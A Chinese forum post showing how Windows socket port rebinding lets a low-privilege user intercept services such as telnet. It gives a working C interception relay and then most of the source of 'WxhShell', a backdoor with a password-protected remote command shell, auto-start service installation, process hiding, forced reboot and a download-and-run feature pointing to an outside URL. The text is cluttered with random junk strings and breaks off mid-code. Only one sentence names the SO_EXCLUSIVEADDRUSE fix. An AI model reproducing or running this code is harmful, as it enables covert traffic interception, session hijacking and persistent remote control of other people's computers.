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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,b[}22  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .OhpItn  
p7 s#j  
  saddr.sin_family = AF_INET; ;R[  xo!  
:"m~tU3&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); & \<!{Y<'  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,TeJx+z^  
V~#e%&73FH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0IZaf%zYc  
PJd7t% m;  
  这意味着什么?意味着可以进行如下的攻击: 1{6BU!  
yx5F]Z<M2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K:!){a[  
lMkDLobos  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8yW8F26  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ah^0FU%!g  
}f rij1/G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )m8ve)l  
>?Y)evW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 t<~WDI|AN  
sk'< K5~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D$ X9xtT  
0cYd6u@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @8keLrp  
K4T#8K]aZF  
  #include !Cqm=q{K  
  #include N5W;Zx]  
  #include "n<rP 3y  
  #include    QuF76&)7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ceiUpWMu,  
  int main() K &L9Ue  
  { +f5|qbX/\  
  WORD wVersionRequested; $? 'JePC  
  DWORD ret; ]V*ku%L0  
  WSADATA wsaData; >Xz=E0;^Ua  
  BOOL val; qcN{p7=0  
  SOCKADDR_IN saddr; "zN2+X"&  
  SOCKADDR_IN scaddr; A/bxxB7w  
  int err; ,(1n(FZ  
  SOCKET s; xXa* d  
  SOCKET sc; 'A^;P]y  
  int caddsize; $5(_U  
  HANDLE mt; f82$_1s^  
  DWORD tid;   w)Rtt 9  
  wVersionRequested = MAKEWORD( 2, 2 ); 4blw9x N  
  err = WSAStartup( wVersionRequested, &wsaData ); @M]uUL-ze  
  if ( err != 0 ) { *.'9eC0s  
  printf("error!WSAStartup failed!\n"); tVAWc$3T  
  return -1; WA'&0i4  
  } g&79?h4UXQ  
  saddr.sin_family = AF_INET; q+j.)e  
   ' 91-\en0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ';'TCb{f*  
=)h<" 2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8LI aN}  
  saddr.sin_port = htons(23); Gky e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $0-}|u]5U  
  { 9EPE.+ns  
  printf("error!socket failed!\n"); 9+z5 $  
  return -1; k`j>lhH  
  } 5} v(Ks>  
  val = TRUE; \(4"kY_=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2#srecIz-!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) kiah,7V/  
  { S.: m$s  
  printf("error!setsockopt failed!\n"); |8QXjzH  
  return -1; ^#6"d+lp  
  } JYAtQTOR  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uG5RE  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bqo+ b{i\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3SI~?&HU!/  
5s5GBJ?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }\iH~T6  
  { }3b3^f  
  ret=GetLastError(); (f-Mm0%[  
  printf("error!bind failed!\n"); +t9$*i9`L  
  return -1; ?g ~w6|U(r  
  } FnZMW, P  
  listen(s,2); bNH72gX2Yh  
  while(1) bOB<m4  
  { vU4Gw4  
  caddsize = sizeof(scaddr); _v[yY3=3  
  //接受连接请求 hc2AGeZr  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0x N1Xm0d  
  if(sc!=INVALID_SOCKET) 7EfLd+  
  { #mK/xbW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %Voq"}}N  
  if(mt==NULL) (plsL   
  { E43Gk!/|(  
  printf("Thread Creat Failed!\n"); Wl29xY}`{!  
  break; We8n20wf<  
  } @W_=Z0]  
  } /'[m6zm]  
  CloseHandle(mt); w[K!m.p,u  
  } C;m,{MD  
  closesocket(s); 9<" .1  
  WSACleanup(); (t.OqgY  
  return 0; qe/|u3I<lF  
  }   &8!~H<S  
  DWORD WINAPI ClientThread(LPVOID lpParam) &rc]3! B  
  { ]* #k|>Fl  
  SOCKET ss = (SOCKET)lpParam; Np.] W(  
  SOCKET sc; @5[9iY  
  unsigned char buf[4096]; Tc3~~X   
  SOCKADDR_IN saddr; nEG+TRZ)\  
  long num; 0\y{/P?I$  
  DWORD val; fQ[& ^S$  
  DWORD ret; UI?AM 34  
  //如果是隐藏端口应用的话,可以在此处加一些判断 , GU|3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   MF41q%9p  
  saddr.sin_family = AF_INET; eG @0:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K> rZJ[a  
  saddr.sin_port = htons(23); I7S#vIMXR.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sC< B  
  { ^D}]7y|fm  
  printf("error!socket failed!\n"); c; MF  
  return -1; +=N!37+G  
  } pBbfU2p  
  val = 100; +L]$M)*0&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >l>;"R9N  
  { 6-+q3#e  
  ret = GetLastError(); liuw!  
  return -1;  gZg5On  
  } Y30T>5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lQq&tz,  
  { k^%Kw(/  
  ret = GetLastError(); 'G#T 6B!  
  return -1; `"-ln'nw  
  } Ofm?`SE*|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }5nVZ;  
  { fDzG5}i  
  printf("error!socket connect failed!\n"); ^W*T~V*8  
  closesocket(sc); &yabxl_  
  closesocket(ss); e  -yL  
  return -1; e Lj1  
  } f~rq)2V:  
  while(1)  W>HGB  
  { 2C &G' @>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 AWG;G+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O'i!}$=g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -,Oq=w*EV  
  num = recv(ss,buf,4096,0); U?[_ d  
  if(num>0) p_g#iH!*  
  send(sc,buf,num,0); 7C::%OF~7  
  else if(num==0) G%q^8#  
  break; BPwn!ii|  
  num = recv(sc,buf,4096,0); w Jr5[p*M  
  if(num>0) H?a1XEY/  
  send(ss,buf,num,0); l`wF;W!  
  else if(num==0) tW8&:L,m  
  break; c?/R=/H  
  } dln1JZ!  
  closesocket(ss); 26D,(Y$*  
  closesocket(sc); "gQ-{ W  
  return 0 ; iL6Yk @  
  } YPU*T&~  
937 z*mh  
ER'zjI>t@  
========================================================== 6]D%|R,Q#}  
qrw"z iW  
下边附上一个代码,,WXhSHELL \Aa{]t  
S!r,p};  
========================================================== 3&tJD  
O'L9 s>B  
#include "stdafx.h" #=81`u  
Al0ls  
#include <stdio.h> /9 ^F_2'_  
#include <string.h> )b7;w#%q  
#include <windows.h> {)5tov1  
#include <winsock2.h> -KA Y  
#include <winsvc.h> (=eJceE!  
#include <urlmon.h> GX\6J]x=^2  
= 9K5f# ;e  
#pragma comment (lib, "Ws2_32.lib") N0POyd/rL  
#pragma comment (lib, "urlmon.lib") 0hB9D{`,{  
z=[?&X]O9b  
#define MAX_USER   100 // 最大客户端连接数 9ZVzIv(   
#define BUF_SOCK   200 // sock buffer $E,,::oJ  
#define KEY_BUFF   255 // 输入 buffer %={[e`,  
'&+5L.  
#define REBOOT     0   // 重启 ri?k}XnhX  
#define SHUTDOWN   1   // 关机 HVLj(_ A  
50='>|b  
#define DEF_PORT   5000 // 监听端口 }1}L&M@  
g-8D1.U  
#define REG_LEN     16   // 注册表键长度 ; VH:dg  
#define SVC_LEN     80   // NT服务名长度 ~e;2gm  
A(84cmq!q  
// 从dll定义API ] i:WP2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QMQ\y8E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H)rE-7(f!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (M;jnQ0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E},^,65  
ur@"wcl"V  
// wxhshell配置信息 gCjW !t  
struct WSCFG { ODFCA. t  
  int ws_port;         // 监听端口 cME|Lg(J$  
  char ws_passstr[REG_LEN]; // 口令 {^V9?^?d (  
  int ws_autoins;       // 安装标记, 1=yes 0=no , #nYHD  
  char ws_regname[REG_LEN]; // 注册表键名 dc=}c/6x  
  char ws_svcname[REG_LEN]; // 服务名 (ptk!u6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HOSt0IHzty  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]*v [6 +  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D3(rD]c0{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x"83[0ib  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UpFm3gKF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AV]7l}-  
5i1E 5@~  
}; z~($ "  
L )53o!  
// default Wxhshell configuration 76eF6N+%}t  
struct WSCFG wscfg={DEF_PORT, &G$K. q  
    "xuhuanlingzhe", %/}46z9\  
    1, !e?2 x@J  
    "Wxhshell", y"T(Unvc  
    "Wxhshell", (8td0zq  
            "WxhShell Service", M"s+k  
    "Wrsky Windows CmdShell Service", K:L_y 1!T  
    "Please Input Your Password: ", B6-1q& E/  
  1, yB5JvD ?  
  "http://www.wrsky.com/wxhshell.exe", Ux-i iH#s  
  "Wxhshell.exe" *b,4qMr  
    }; ;2}wrX  
L]Dq1q8`  
// 消息定义模块 1{-yF :A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z2U^z*n{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 21sXCmYR,t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W4p4[&c|  
char *msg_ws_ext="\n\rExit."; HB*H%>L{"B  
char *msg_ws_end="\n\rQuit."; ni?5h5-  
char *msg_ws_boot="\n\rReboot..."; BF/l#)$yK  
char *msg_ws_poff="\n\rShutdown..."; i)q8p  
char *msg_ws_down="\n\rSave to "; 0q o]nw  
LhCwZ1  
char *msg_ws_err="\n\rErr!"; h|%a}])G)  
char *msg_ws_ok="\n\rOK!"; U W' @3#<?  
2#Du5d  
char ExeFile[MAX_PATH]; ^i!I0Q2yd  
int nUser = 0; Q" G;L  
HANDLE handles[MAX_USER]; #c$z&J7e  
int OsIsNt; &P&VJLAe  
D9JHx+Xf>  
SERVICE_STATUS       serviceStatus; s<{) X$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x5R|,bY  
pEq }b+-  
// 函数声明 Kh7C7[&  
int Install(void); I9L7,~s  
int Uninstall(void); o[%\W  
int DownloadFile(char *sURL, SOCKET wsh); :B~m^5  
int Boot(int flag); p&2oe\j$,  
void HideProc(void); rGlnu.mK^  
int GetOsVer(void); r2m&z%N &  
int Wxhshell(SOCKET wsl); j8W<iy  
void TalkWithClient(void *cs); ^&KpvQNW_  
int CmdShell(SOCKET sock); g\1|<jb3  
int StartFromService(void); ?N=`}}Ky-  
int StartWxhshell(LPSTR lpCmdLine); Ff1!+P,  
|4rqj 1*U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yX.; x 0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3z% W5[E)  
jI%glO'2  
// 数据结构和表定义 -8yN6 0|  
SERVICE_TABLE_ENTRY DispatchTable[] = -tA_"q'^  
{ "R]wPF5u  
{wscfg.ws_svcname, NTServiceMain}, "KgNMNep  
{NULL, NULL} ;KgDVq5  
}; G7%f| Y  
~\+Bb8+hpJ  
// 自我安装 dOVu D(  
int Install(void) 9V|) 3GF  
{ U(2=fKK;  
  char svExeFile[MAX_PATH]; o~M=o:^nH  
  HKEY key; ajW2HH*9}A  
  strcpy(svExeFile,ExeFile); o37D~V;  
0 YAH[YF  
// 如果是win9x系统,修改注册表设为自启动 dF><XZph  
if(!OsIsNt) { >qZl s'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U|Uc|6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w+$~ ds  
  RegCloseKey(key); 4UHviuOo8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ax*xa6_2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mrBK{@n  
  RegCloseKey(key); )E m`kle  
  return 0; o4jh n[Fx  
    } SqZ .}s  
  } Dt\rrN:v  
} OZEbs 7  
else { Q/0oe())  
C;~LY&=  
// 如果是NT以上系统,安装为系统服务 K>TEt5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -$$mrU  
if (schSCManager!=0) "^)GnK +-  
{ *fz#B/ _o  
  SC_HANDLE schService = CreateService aYM~Ub:x{  
  ( 8erG](  
  schSCManager, I&`aGnr^^  
  wscfg.ws_svcname, `g <0FQA  
  wscfg.ws_svcdisp, F` &W5[  
  SERVICE_ALL_ACCESS, ]D4lZK>H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )Y6\"-M[  
  SERVICE_AUTO_START, gq@8Z AWn  
  SERVICE_ERROR_NORMAL, x~=Mn%Ew0  
  svExeFile, Tv6y +l  
  NULL, USaa#s4'  
  NULL, -/2B fIq  
  NULL, w[$oH^7  
  NULL, w|Ry) [  
  NULL L4Kg%icz l  
  ); _Tm]tlV  
  if (schService!=0) ;NE4G;px4<  
  { UD.ZnE{"  
  CloseServiceHandle(schService); vK`HgRQ(C  
  CloseServiceHandle(schSCManager); CM%;/[WBxy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I;n <) >  
  strcat(svExeFile,wscfg.ws_svcname); LzD RyL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /8!n7a7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jo3(\Bq  
  RegCloseKey(key); ZH*h1?\X  
  return 0; sVGQSJJ5  
    } }Q@~_3,UJ  
  } 3hxV`rb  
  CloseServiceHandle(schSCManager); @4MQ021(  
} A}}dc:$C  
} <sw=:HU  
j dz IU  
return 1; f( Dtv  
} h-RhmQA=Iz  
ec/>LJDX7  
// 自我卸载 J Vxja<43  
int Uninstall(void) Gs,e8ri!  
{ f/s"2r  
  HKEY key; B?yj U[/R  
M< .1U?_#  
if(!OsIsNt) { z"mpw mv5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KV8<'g+2?  
  RegDeleteValue(key,wscfg.ws_regname); \WbQS#Z9  
  RegCloseKey(key); *A4eYHn@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X;2LK!x;y  
  RegDeleteValue(key,wscfg.ws_regname); /h{Rf,H  
  RegCloseKey(key); T\(k=0R M  
  return 0; e /1x/v'  
  } #ti%hm  
} k{=dV  
} ml Cg&fnDB  
else { */_'pt  
4T; <`{]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WUo\jm[yr  
if (schSCManager!=0) FvYciU!  
{ rZcSG(d`53  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RgW#z-PZF  
  if (schService!=0) Y/"t!   
  { SWY  
  if(DeleteService(schService)!=0) { Lq1?Y  
  CloseServiceHandle(schService); *,%$l+\h  
  CloseServiceHandle(schSCManager); $45.*>,  
  return 0; ;ISe@ yR;  
  } ZO%iyc%  
  CloseServiceHandle(schService); eV/oY1B]<  
  } u"m(a:jQ  
  CloseServiceHandle(schSCManager); IGT9}24  
} awvP;F?q|  
} GBWL0'COV  
Kd5 8'$  
return 1; QxGcRlpLK  
} __FEdO  
"tl$JbRTY  
// 从指定url下载文件 b GI){0A  
int DownloadFile(char *sURL, SOCKET wsh) M8<Vd1-5  
{ EApbaS}Up  
  HRESULT hr; Hk@Gkx_  
char seps[]= "/"; 4#7*B yvf  
char *token; 9xhc:@B1J  
char *file; h.F=Fhx/1  
char myURL[MAX_PATH]; \!BVf@>p%  
char myFILE[MAX_PATH]; QkW'tU\^  
*B}O  
strcpy(myURL,sURL); 2 \}J*0  
  token=strtok(myURL,seps); `]XI Q\ *  
  while(token!=NULL) Rz|@BxB>n  
  { EY<"B2_%  
    file=token; l v hJ  
  token=strtok(NULL,seps); qy)~OBY  
  } ~IjID  
|\?u-O3  
GetCurrentDirectory(MAX_PATH,myFILE); LybaE~=  
strcat(myFILE, "\\"); X~c?C-fV  
strcat(myFILE, file); H~nZ=`P9&  
  send(wsh,myFILE,strlen(myFILE),0);  0.0-rd>  
send(wsh,"...",3,0); 25-h5$s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oD9n5/ozo  
  if(hr==S_OK) o0f`/ 6o  
return 0; |g)>6+?]W  
else I 4?oBq  
return 1; \|HNFxT`  
z]+L=+,,  
} v[^8_y}A`  
%kV7 <:y  
// 系统电源模块 OQB7C0+ &  
int Boot(int flag) OM&GypP6&  
{ 4}v|^_x-i  
  HANDLE hToken; 3dj|jw5  
  TOKEN_PRIVILEGES tkp; #IM.7`I   
9yC22C:  
  if(OsIsNt) { L}Y.xi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @|c])  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A8Q^y AP^  
    tkp.PrivilegeCount = 1; -LszaMR}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2*V[kmD/3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3S7"P$q  
if(flag==REBOOT) { >a<1J(c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dM^Z,; u  
  return 0;  3}8o 9  
} e@ZM&iR  
else { Tgr,1) T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %8tE*3iUF  
  return 0; 3EICdC  
} R~k`KuY@!  
  } 4F6aPo2  
  else { >- \bLr  
if(flag==REBOOT) { kt978qfk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3^+D,)#D^  
  return 0; 4v hz`1  
} c:Nm!+5_(  
else { j/d}B_2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V+O,y9  
  return 0; TjEXR$:<  
} UE.kR+1  
} "U-jZ5o"  
yEI@^8]s  
return 1; d/&> `[i  
} PU/<7P*  
gYc]z5`  
// win9x进程隐藏模块 Xi98:0<=  
void HideProc(void) sE6>JaH  
{ I'BhN#GhX  
F`QViZ'n>#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Km8aHc]O~  
  if ( hKernel != NULL ) _V-KyK  
  { r@{TN6U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p2i?)+z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6p)AQTh>  
    FreeLibrary(hKernel); dWvVK("Wj  
  } a,c!#iyl3  
hu.o$sV3;  
return; ^Fco'nlM  
} yijP  
Y"GNJtsL"  
// 获取操作系统版本 Kf[d@ L  
int GetOsVer(void) PC#^L$cg}  
{  mLxgvp  
  OSVERSIONINFO winfo; >5t%_/yeB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @owneSD qN  
  GetVersionEx(&winfo); "%gsGtS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &vp KBR ^  
  return 1; J, 9NVw$  
  else rGyAzL]  
  return 0; =1l6( pJ  
} _5jT}I<k  
5QMra5Nk  
// 客户端句柄模块 JNfL jfE)<  
int Wxhshell(SOCKET wsl) esqmj#G  
{ J,2V&WuV0r  
  SOCKET wsh; hw^&{x  
  struct sockaddr_in client; CI'RuR3y]Z  
  DWORD myID; JL1ajlm~  
|`5 IP8Z  
  while(nUser<MAX_USER) g"!(@]L!@  
{ >.iF,[.[F<  
  int nSize=sizeof(client); t<!;shH,s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `t~jHe4!Y  
  if(wsh==INVALID_SOCKET) return 1; "jFf}"  
M3pE$KT0x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9r!8BjA  
if(handles[nUser]==0) }Y~Dk]*  
  closesocket(wsh); dZU#lg  
else   Q.g/  
  nUser++; 7z b^Z]  
  } 'a ['lF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /T w{JO#Q  
)/T[Cnx.Nc  
  return 0; 6>a6;[  
} gxv^=;2C  
$ Habhw  
// 关闭 socket e8F]m`{_"  
void CloseIt(SOCKET wsh) fZGY'o&5  
{ b(iF0U>&  
closesocket(wsh); 'NEl`v*<P  
nUser--; ! _S#8"  
ExitThread(0); ~KBa-i%o  
} mptFd  
Kxr@!m"  
// 客户端请求句柄 Nd~B$venh  
void TalkWithClient(void *cs) p}1i[//S  
{ ;tjOEmIiU  
ig,.>'+l  
  SOCKET wsh=(SOCKET)cs; 8tj]@GE  
  char pwd[SVC_LEN]; 9`tK 9  
  char cmd[KEY_BUFF]; -'! J?~  
char chr[1]; aZFpt/.d  
int i,j; (jT)o,IW&  
1[%3kY-h  
  while (nUser < MAX_USER) { 8Zr;n`~  
l5[5Y6c>  
if(wscfg.ws_passstr) { Ez3fL&*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,2@o`R.27  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ARKM[]  
  //ZeroMemory(pwd,KEY_BUFF); HBlk~eZ  
      i=0; K@JZ$  
  while(i<SVC_LEN) { DB'v7 Ij0  
0U '"@A \  
  // 设置超时 ZT0\V ]!B  
  fd_set FdRead; LgqQr6y"  
  struct timeval TimeOut; ARH~dN*C  
  FD_ZERO(&FdRead); ,;k+n)  
  FD_SET(wsh,&FdRead); UcRP/LR%C  
  TimeOut.tv_sec=8; "#Rh\DQ  
  TimeOut.tv_usec=0; Hfcpqa  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H>~CL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VY?9|};f  
WtT;y|W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r&gvP|W%  
  pwd=chr[0]; iq#{*:1  
  if(chr[0]==0xd || chr[0]==0xa) { w,UE0i9I  
  pwd=0; Z)?$ZI@  
  break; &f*o rM:  
  } ;Qi:j^+P)  
  i++; 9vI~vl l  
    } nm^HL|  
':*H#}Br-#  
  // 如果是非法用户,关闭 socket ;%e&6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?nU<cxh  
} o) )` "^  
V9c.(QY|f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 55Ss%$k@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x#1 Fi$.  
1I Xtu   
while(1) { 56V|=MzX]  
0TU3 _;o  
  ZeroMemory(cmd,KEY_BUFF); H$![]Ujq  
AwM`[`ReE  
      // 自动支持客户端 telnet标准   &:&'70Ya  
  j=0; 2Tp2{"sB>A  
  while(j<KEY_BUFF) { 9"~ FKMN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6v`3/o  
  cmd[j]=chr[0]; sf*4|P}  
  if(chr[0]==0xa || chr[0]==0xd) { vDjH $ U  
  cmd[j]=0; #QNN;&L]R  
  break; #2tmi1 ya  
  } RQVu~7d[  
  j++; >0^<<=m  
    } <jh4P!\&j  
q}U+BTCZ  
  // 下载文件 qBEp |V  
  if(strstr(cmd,"http://")) { wgl<JO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QiK>]xJ'  
  if(DownloadFile(cmd,wsh)) ( bwD:G9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `v*HH}aDO  
  else O( ^h_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yy*=@qu>g  
  } FnvpnU",  
  else { 80lei  
QLqtE;;)JK  
    switch(cmd[0]) { #p}GWS)  
  oe<i\uX8z  
  // 帮助 j=r1JV @  
  case '?': { TgiZ % G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'D\X$^J^  
    break; I&-r^6Yx  
  } dq 93P%X24  
  // 安装 ]?^V xB7L  
  case 'i': { adLL7  
    if(Install()) ^exU]5nvz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); us.#|~i<h  
    else )Q2IYCj{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U5Hi9fe  
    break; ]]j^  
    } yE}\4_0I/  
  // 卸载 m8sd2&4  
  case 'r': { .}==p&(  
    if(Uninstall()) f-%M~:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EBy7wU`S  
    else $1yy;IyR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G6p gG+w  
    break; e=i X]%^  
    } 1 Pk+zBJ$  
  // 显示 wxhshell 所在路径 ~P3b5 -  
  case 'p': { BH:A]#_{  
    char svExeFile[MAX_PATH]; (`(D $%  
    strcpy(svExeFile,"\n\r"); J[ZHAnmPH  
      strcat(svExeFile,ExeFile); :nx+(xgw  
        send(wsh,svExeFile,strlen(svExeFile),0); jVff@)_S  
    break; Kg%9&l  
    } P:{Aq n~zR  
  // 重启 WvfP9(-  
  case 'b': { =B}IsBn'J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ng}C$d . I  
    if(Boot(REBOOT)) K_YrdA)6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q?!HzZ  
    else { uu6 JZp  
    closesocket(wsh); |  0  
    ExitThread(0); }UPC~kC+Z  
    } t^01@ejM+  
    break; 8iIp[9~=  
    } \U:OQ.e  
  // 关机 g5y+F]'I  
  case 'd': { Z^kE]Ir#EV  
